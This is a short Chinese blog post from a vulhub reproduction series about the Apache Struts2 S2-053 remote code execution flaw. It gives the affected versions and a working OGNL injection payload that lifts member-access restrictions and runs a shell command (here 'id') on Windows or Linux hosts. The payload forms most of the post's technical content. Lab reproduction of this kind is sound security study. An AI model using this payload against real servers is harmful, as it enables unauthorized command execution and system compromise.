S2-053 远程代码执行漏洞

最新推荐文章于 2023-11-16 20:06:14 发布

小白萝卜

最新推荐文章于 2023-11-16 20:06:14 发布

阅读量278

点赞数

分类专栏： vulhub漏洞复现文章标签： struts2 安全

本文链接：https://blog.csdn.net/EC_Carrot/article/details/119671760

版权

vulhub漏洞复现专栏收录该内容

178 篇文章 29 订阅

订阅专栏

本文详细介绍了Struts2框架中的一个重要安全漏洞，影响版本为Struts2.0.1-Struts2.3.33及Struts2.5-Struts2.5.10。该漏洞允许攻击者通过特定Payload执行任意系统命令。复现过程中，输入含有换行符的Payload即可触发命令执行。了解此漏洞有助于提升系统安全防护能力。

摘要由CSDN通过智能技术生成

漏洞简介

影响版本: Struts 2.0.1 - Struts 2.3.33, Struts 2.5 - Struts 2.5.10
详细请看：https://github.com/vulhub/vulhub/blob/master/struts2/s2-053/README.zh-cn.md

漏洞复现

输入如下Payload即可成功执行命令（注意最后有换行）：

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

在这里插入图片描述